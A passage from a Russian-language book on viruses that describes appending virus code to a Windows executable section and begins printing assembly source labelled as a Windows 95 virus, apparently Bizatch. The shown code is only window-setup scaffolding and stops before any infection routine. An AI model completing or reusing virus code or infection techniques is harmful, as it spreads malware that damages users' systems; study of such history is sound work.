Скачать книгу

необходимо увеличить на единицу поле «количество объектов» и записать код вируса по вычисленному «физическому смещению» в размере «физического размера» байт.

      Пример вируса под Windows 95

      .386

      locals

      jumps

      .model flat,STDCALL

      include win32.inc ;некоторые 32−битные константы и структуры

      L equ <LARGE>

      ;Определим внешние функции, к которым будет подключаться вирус

      extrn BeginPaint:PROC

      extrn CreateWindowExA:PROC

      extrn DefWindowProcA:PROC

      extrn DispatchMessageA:PROC

      extrn EndPaint:PROC

      extrn ExitProcess:PROC

      extrn FindWindowA:PROC

      extrn GetMessageA:PROC

      extrn GetModuleHandleA:PROC

      extrn GetStockObject:PROC

      extrn InvalidateRect:PROC

      extrn LoadCursorA:PROC

      extrn LoadIconA:PROC

      extrn MessageBeep:PROC

      extrn PostQuitMessage:PROC

      extrn RegisterClassA:PROC

      extrn ShowWindow:PROC

      extrn SetWindowPos:PROC

      extrn TextOutA:PROC

      extrn TranslateMessage:PROC

      extrn UpdateWindow:PROC

      ;Для поддержки Unicode Win32 интерпретирует некоторые функции

      ;для ANSI или расширенного набора символов.

      ;В качестве примера рассмотрим ANSI

      CreateWindowEx equ <CreateWindowExA>

      DefWindowProc equ <DefWindowProcA>

      DispatchMessage equ <DispatchMessageA>

      FindWindow equ <FindWindowA>

      GetMessage equ <GetMessageA>

      GetModuleHandle equ <GetModuleHandleA>

      LoadCursor equ <LoadCursorA>

      LoadIcon equ <LoadIconA>

      MessageBox equ <MessageBoxA>

      RegisterClass equ <RegisterClassA>

      TextOut equ <TextOutA>

      .data

      newhwnd dd 0

      lppaint PAINTSTRUCT <?>

      msg MSGSTRUCT <?>

      wc WNDCLASS <?>

      mbx_count dd 0

      hInst dd 0

      szTitleName db ”Bizatch by Quantum / VLAD activated”

      zero db 0

      szAlternate db ”more than once”,0

      szClassName db ”ASMCLASS32”,0

      ;Сообщение, выводимое в окне

      szPaint db ”Left Button pressed:”

      s_num db ”00000000h times.”,0

      ;Размер сообщения

      MSG_L EQU ($−offset szPaint)−1

      .code

      ;Сюда обычно передается управление от загрузчика.

      start:

      ;Получим HMODULE

      push L 0

      call GetModuleHandle

      mov [hInst],eax

      push L 0

      push offset szClassName

      call FindWindow

      or eax,eax

      jz reg_class

      ;Пространство для модификации строки заголовка

      mov [zero],” ”

      reg_class:

      ;Инициализируем структуру WndClass

      mov [wc.clsStyle],CS_HREDRAW+CS_VREDRAW+CS_GLOBALCLASS

      mov [wc.clsLpfnWndProc],offset WndProc

      mov [wc.clsCbClsExtra],0

      mov [wc.clsCbWndExtra],0

      mov eax,[hInst]

      mov [wc.clsHInstance], eax

      ;Загружаем значок

      push L IDI_APPLICATION

      push L 0

      call LoadIcon

      mov [wc.clsHIcon], eax

      ;Загружаем курсор

      push L IDC_ARROW

      push L 0

      call LoadCursor

      mov [wc.clsHCursor], eax

      ;Инициализируем оставшиеся поля структуры WndClass

      mov [wc.clsHbrBackground],COLOR_WINDOW+1

      mov dword ptr [wc.clsLpszMenuName],0

      mov dword ptr [wc.clsLpszClassName],offset szClassName

      ;Регистрируем класс окна

      push offset wc

      call RegisterClass

      ;Создаем окно

      push L 0 ;lpParam

      push [hInst] ;hInstance

      push L 0 ;Меню

      push L 0 ;hwnd родительского

      окна

      push L CW_USEDEFAULT ;Высота

      push L CW_USEDEFAULT ;Длина

      push L CW_USEDEFAULT ;Y

      push L CW_USEDEFAULT ;X

      push L WS_OVERLAPPEDWINDOW ;Style

      push offset szTitleName ;Title Style

      push offset szClassName ;Class name

      push L 0 ;extra style

      call CreateWindowEx

      ;Сохраняем HWND

      mov [newhwnd], eax

      ;Отображаем окно на экране

      push L SW_SHOWNORMAL

      push [newhwnd]

      call ShowWindow

      ;Обновляем содержимое окна

      push [newhwnd]

      call UpdateWindow

      ;Очередь

Скачать книгу